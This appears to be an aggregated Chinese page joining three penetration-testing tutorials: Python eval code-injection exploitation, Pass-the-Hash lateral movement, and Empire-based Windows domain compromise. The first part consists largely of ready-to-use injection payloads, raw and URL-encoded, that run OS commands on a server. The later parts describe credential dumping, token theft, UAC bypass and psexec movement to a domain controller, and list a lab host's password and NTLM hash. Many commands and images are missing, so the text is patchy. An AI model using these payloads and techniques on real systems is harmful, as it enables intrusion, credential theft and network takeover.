empire渗透工具怎么用,empire渗透测试

导航：

• 1、如何使用python查找网站漏洞
• 2、横向渗透之Pass The Hash
• 3、用Powershell框架Empire进行内网域渗透(一)

如何使用python查找网站漏洞

如果你的Web应用中存在Python代码注入漏洞的话，攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。这也就意味着，如果你可以在目标服务器中执行Python代码的话，你就可以通过调用服务器的操作系统的指令来实施攻击了。通过运行操作系统命令，你不仅可以对那些可以访问到的文件进行读写操作，甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire)。

为了复现这个漏洞，我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞。当时我想在网上查找一些关于这个漏洞具体应用方法的信息，但是并没有找到太多有价值的内容。在同事Charlie Worrell(@decidedlygray)的帮助下，我们成功地通过Burp POC实现了一个非交互式的shell，这也是我们这篇文章所要描述的内容。

因为除了Python之外，还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题，因此Python代码注入属于服务器端代码注入的一种。实际上，如果各位同学和我一样是一名CWE的关注者，那么下面这两个CWE也许可以给你提供一些有价值的参考内容：

1. CWE-94：代码生成控制不当(‘代码注入’)2. CWE-95：动态代码评估指令处理不当(‘Eval注入’)漏洞利用

假设你现在使用Burp或者其他工具发现了一个Python注入漏洞，而此时的漏洞利用Payload又如下所示：

eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了：

eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))实际上，你甚至都不需要使用for循环，直接使用全局函数“__import__”就可以了。具体代码如下所示：

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其实我们的Payload代码还可以更加简洁，既然我们已经将import和popen写在了一个表达式里面了，那么在大多数情况下，你甚至都不需要使用compile了。具体代码如下所示：

__import__('os').popen('COMMAND').read()

为了将这个Payload发送给目标Web应用，你需要对其中的某些字符进行URL编码。为了节省大家的时间，我们在这里已经将上面所列出的Payload代码编码完成了，具体如下所示：

param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下来，我们将会给大家介绍关于这个漏洞的细节内容，并跟大家分享一个包含这个漏洞的Web应用。在文章的结尾，我将会给大家演示一款工具，这款工具是我和我的同事Charlie共同编写的，它可以明显降低你在利用这个漏洞时所花的时间。简而言之，这款工具就像sqlmap一样，可以让你快速找到SQL注入漏洞，不过这款工具仍在起步阶段，感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下。

搭建一个包含漏洞的服务器

为了更好地给各位同学进行演示，我专门创建了一个包含漏洞的Web应用。如果你想要自己动手尝试利用这个漏洞的话，你可以点击这里获取这份Web应用。接下来，我们要配置的就是Web应用的运行环境，即通过pip或者easy_install来安装web.py。它可以作为一台独立的服务器运行，或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中。相关操作指令如下所示：

git clone VulnApp

./install_requirements.sh

python PyCodeInjectionApp.py

漏洞分析

当你在网上搜索关于python的eval()函数时，几乎没有文章会提醒你这个函数是非常不安全的，而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况，说明你的Web应用中存在这个漏洞：

1. Web应用接受用户输入(例如GET/POST参数，cookie值);2. Web应用使用了一种不安全的方法来将用户的输入数据传递给eval()函数(没有经过安全审查，或者缺少安全保护机制);下图所示的是一份包含漏洞的示例代码：

\

大家可以看到，eval()函数是上述代码中唯一一个存在问题的地方。除此之外，如果开发人员直接对用户的输入数据(序列化数据)进行拆封的话，那么Web应用中也将会出现这个漏洞。

不过需要注意的是，除了eval()函数之外，Python的exec()函数也有可能让你的Web应用中出现这个漏洞。而且据我所示，现在很多开发人员都会在Web应用中不规范地使用exec()函数，所以这个问题肯定会存在。

自动扫描漏洞

为了告诉大家如何利用漏洞来实施攻击，我通常会使用扫描器来发现一些我此前没有见过的东西。找到之后，我再想办法将毫无新意的PoC开发成一个有意义的exploit。不过我想提醒大家的是，不要过度依赖扫描工具，因为还很多东西是扫描工具也找不到的。

这个漏洞也不例外，如果你在某个Web应用中发现了这个漏洞，那么你肯定使用了某款自动化的扫描工具，比如说Burp Suite Pro。目前为止，如果不使用类似Burp Suite Pro这样的专业扫描工具，你几乎是无法发现这个漏洞的。

当你搭建好测试环境之后，启动并运行包含漏洞的示例应用。接下来，使用Burp Suite Pro来对其进行扫描。扫描结果如下图所示：

\

下图显示的是Burp在扫描这个漏洞时所使用的Payload：

\

我们可以看到，Burp之所以要将这个Web应用标记为“Vulnerable”(包含漏洞的)，是因为当它将这个Payload发送给目标Web应用之后，服务器的Python解析器休眠了20秒，响应信息在20秒之后才成功返回。但我要提醒大家的是，这种基于时间的漏洞检查机制通常会存在一定的误报。

将PoC升级成漏洞利用代码

使用time.sleep()来验证漏洞的存在的确是一种很好的方法。接下来，为了执行操作系统指令并接收相应的输出数据，我们可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()这几个函数。当然了，应该还有很多其他的函数同样可以实现我们的目标。

因为eval()函数只能对表达式进行处理，因此Burp Suite Pro的Payload在这里使用了compile()函数，这是一种非常聪明的做法。当然了，我们也可以使用其他的方法来实现，例如使用全局函数“__import__”。关于这部分内容请查阅参考资料：[参考资料1][参考资料2]

下面这个Payload应该可以适用于绝大多数的场景：

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

# Example with one expression

__import__('os').popen('COMMAND').read()

# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要执行一个或多个语句，那么你就需要使用eval()或者compile()函数了。实现代码如下所示：

# Examples with one expression

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的测试过程中，有时全局函数“__import__”会不起作用。在这种情况下，我们就要使用for循环了。相关代码如下所示：

eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的参数是一个GET参数，那么你就可以直接在浏览器中利用这个漏洞了：

\

请注意：虽然浏览器会帮你完成绝大部分的URL编码工作，但是你仍然需要对分号(%3b)和空格(%20)进行手动编码。除此之外，你也可以直接使用我们所开发的工具。

如果是POST参数的话，我建议各位直接使用类似Burp Repeater这样的工具。如下图所示，我在subprocess.check_output()函数中一次性调用了多个系统命令，即pwd、ls、-al、whoami和ping。

\

\

漏洞利用工具-PyCodeInjectionShell

你可以直接访问PyCodeInjectionShell的GitHub主页获取工具源码，我们也提供了相应的工具使用指南。在你使用这款工具的过程中会感觉到，它跟sqlmap一样使用起来非常的简单。除此之外，它的使用方法跟sqlmap基本相同。

横向渗透之Pass The Hash

在上一章总结了windows抓取hash的一些方式。在实际场景中，我们需要更快的扩大战果，获取更多控制权限，以及定位域环境。

横向渗透：就是在得到一台主机的控制权限后，将该主机作为突破口、跳板，利用既有的资源尝试获取更多的凭据、更高的权限，进而达到控制整个内网、拥有最高权限。

Pass The Hash 哈希传递简称PTH，可以在不需要明文密码的情况下，利用LM HASH和NTLM HASH直接远程登录。攻击者不需要花费时间来对hash进行爆破，在内网渗透里非常经典。

常常适用于域/工作组环境。

靶机：windows server 2008

IP：10.211.55.19

domain：workgroup

user：administrator

pass：cseroad@2008

NTLM-Hash：82c58d8cec50de01fd109613369c158e

psexec类工具大同小异，大部分工具都是通过psexec来执行的。原理是： 通过ipc$连接，将psexesvc.exe释放到目标机器，再通过服务管理SCManager远程创建psexecsvc服务，并启动服务。然后通过psexec服务运行命令，运行结束后删除该服务。

如：Metasploit psexec，Impacket psexec，pth-winexe，Empire Invoke-Psexec

缺点：容易被杀软检测到

优点：可以直接获取system权限

因为市面工具比较多，只kali就自带有很多。所以这里以好用、批量为准则选择了几款工具。

mimikatz中pth功能的原理：

windows会在lsass中缓存hash值，并使用它们来ntlm认证，我们在lsass中添加包含目标账号hash的合法数据结构，就可以使用类似dir这些命令进行认证。

正常访问server 2008 的盘符是需要用户名密码的。

在windows7上经过pth之后就不需要密码就可以远程连接。

将获取的hash添加进lsass中。

在windows 7 上执行以下命令：

执行后会弹出cmd。在cmd下执行 net use \\10.211.55.19\c$ 命令就可以远程连接。

扩展：

假如我们继续探测到10.211.55.8使用的是同一个hash值。我们尝试使用远程共享c盘和schtasks 定时计划任务执行获取一个session。

powershell.bat为

当重启10.211.55.8机器后，metasploit可得到session

笔者经常使用时的是这三个模块

以exploit/windows/smb/psexec模块为例

值得一说的是smbpass配置项支持明文密码也支持hash(LM-Hash:NTLM-Hash)

成功返回system权限。

CobalStrike 同样有psexec选项。

在得到一个beacon的基础上，先在该网段portscan，探测存活主机后。

选择View--Target--Login--psexec，可批量选择主机pth。

选择pth的用户名和hash值。

从执行的命令看得出依然利用的mimikatz。执行成功后返回system权限。

该工具可以对C段主机批量pth。

项目在 github

在kali上直接apt就可以安装

对工作组批量pth命令如下

测试的时候发现某些命令执行后没有回显。

更多资料参考：

CrackMapExec：域环境渗透中的瑞士军刀

红队测试工具-CrackMapExec-远程执行Windows命令

wmi内置在windows操作系统，用于管理本地或远程的 Windows 系统。wmiexec是对windows自带的wmic做了一些强化。攻击者使用wmiexec来进行攻击时，不会记录日志，不会写入到磁盘，具有极高的隐蔽性。

安装成功后，切换到examples目录下

运行命令为

先加载Invoke-WMIExec.ps1脚本，再加载Invoke-TheHash.ps1脚本，因为Invoke-TheHash 里要用到 Invoke-WMIExec方法

如果要执行系统命令。可以加-Command 参数

执行后该进程会在后台运行，可以结合定时任务执行尝试反弹shell。

在测试中发现，在打了kb2871997 这个补丁后，常规的Pass The Hash已经无法成功，但默认的Administrator(SID 500)账号例外，利用这个账号仍可以进行Pass The Hash远程ipc连接。

以上所有操作均针对的SID 500。

内网渗透之PTHPTTPTK

横向移动

丢掉PSEXEC来横向渗透

用Powershell框架Empire进行内网域渗透(一)

自从powershell在windows开始预装之后，就成为Windows内网渗透的好帮手，好处多多：天生免杀、无文件落地、 无日志(雾) 。

于是老外开发了 empire 框架，毕竟 cobalt strike 要收费的不是？

功能模块丰富，老外把内网[域]渗透中能用到的都整合进去了：内网探测，提权，凭据获取，横向移动，权限维持。模块那么多，不懂就 searchmodule 或者[tab]两下。

基于 debian 系的，如kali或者ubuntu都可以安装。

git clone

在执行安装脚本之前，建议修改软件源和 pip 源，避免因为网络问题安装失败。

sudo ./setup/install.sh

安装好后执行 ./empire 后就可以用了。

先查看可用的 Listener 有哪些？[tab]两下就出来了所有可用的。

通过 info 查看指定模块的配置信息

这里还是先使用http的监听,通过 set Port 8080 修改监听的端口， 2.x版必须同时设置 Host ，然后 execute 启动监听。

通过list命令查看正在运行的监听

可以通过usestager来生成文件，引诱对方运行，可以看到支持linux、Windows、osx。

这里我们选用launcher_bat，通过 info 查看可以配置的参数。

这里需要注意的是Listener的Name，必须跟前面启用的Listener的一致。

生成的文件内容是这样子的

其中那么一大段的powershell命令，跟 (Empire: listeners) launcher powershell test 的执行结果是一样的。这里先不关心怎么让其在别的机子上运行，那是另外的技术活。

用win7的cmd执行了那一串命令后，进程中可以看到有powershell.exe

执行 agents 命令查看回连的机子，然后 interact BNR1T9ZC 来与之进行交互。

通过 help 命令可以查看到在agent上可以执行很多命令。这里挑些重要的讲。

bypassuac ，顾名思义就是绕过uac的。除非你是本机的administrator，否则普通管理员都需要右键某个程序，然后选择 run as administrator 才能运行，这都是uac作的怪。

因为这里是用普通域用户权限执行的，连本机的普通管理员都不算，所以失败了。

sc，屏幕截图命令,可以通过这个了解机子上的人正在做什么。

我们看看usemodule还有哪些可用的模块？（有些模块需要对应权限才能成功运行）

输入 help agentcmds 可以看到可供使用的常用命令

执行 ipconfig 查看网卡信息（如果不在help列表中，那么会自动执行远程主机上的可用命令）

可以看到dns的ip是1.1.1.10，既是域控的ip

当你获得一个会话之后，又想要派生更多会话，怎么办？

使用 invoke_shellcode 来注入 meterpreter 的shellcode

metasploit先要设置一个 listener

然后empire执行

成功获取meterpreter会话（才怪， empire2.5 版本）

在session1建立到1.1.1.0/24网段的路由跳转

run autoroute -s 1.1.1.0/24

通过sesesion1打通网段后，可以看到域控服务器1.1.1.10开放的端口

使用ms17010成功获取meterpreter会话。

至此，域控拿下，可以开始漫游内网。（还是得靠metasploit，单一个empire做的事情很有限）

获取域管理员的明文凭据

用后渗透模块 credential_collector 收集可用的凭据

empire 可以直接使用 mimikatz 来获取凭据。 注意，此时客户端上powershell进程占用的cpu可达90%，会引起卡顿

creds 查看获取的凭据

利用pth来传递hash，用这个hash创建一个新的进程，可以看到新的进程id是3032

然后 credentials/tokens 查看不同用户的进程id

对指定进程steal_token之后，再去与agent交互就是域用户user的权限了。

用revtoself再切换回原来的权限（普通域用户权限太低做不了什么）

到这里尝试了好几个 situational_awareness/network/powerview 的模块返回的都是空结果，看来是需要域管理员才能执行成功。

碰巧域管理员也登陆这台机子，那么就能用他的权限做很多事情了。

也可以使用 usemodule management/psinject 进行切换，设置好ProcessId即可

现在我们又获得了一次域管理员权限，可以开始横向移动了。

先内网探测下可用的机子有哪些，使用了 situational_awareness 中的三个模块：

find_localadmin_access user_hunter get_domain_controller

又一次可以确定1.1.1.10就是域控所在了。用 lateral_movement/invoke_psexec 移动到域控服务器上面。

终于又回到了域控服务器，接下来要考虑的是如何导出域控上面的所有hash，并且维持权限。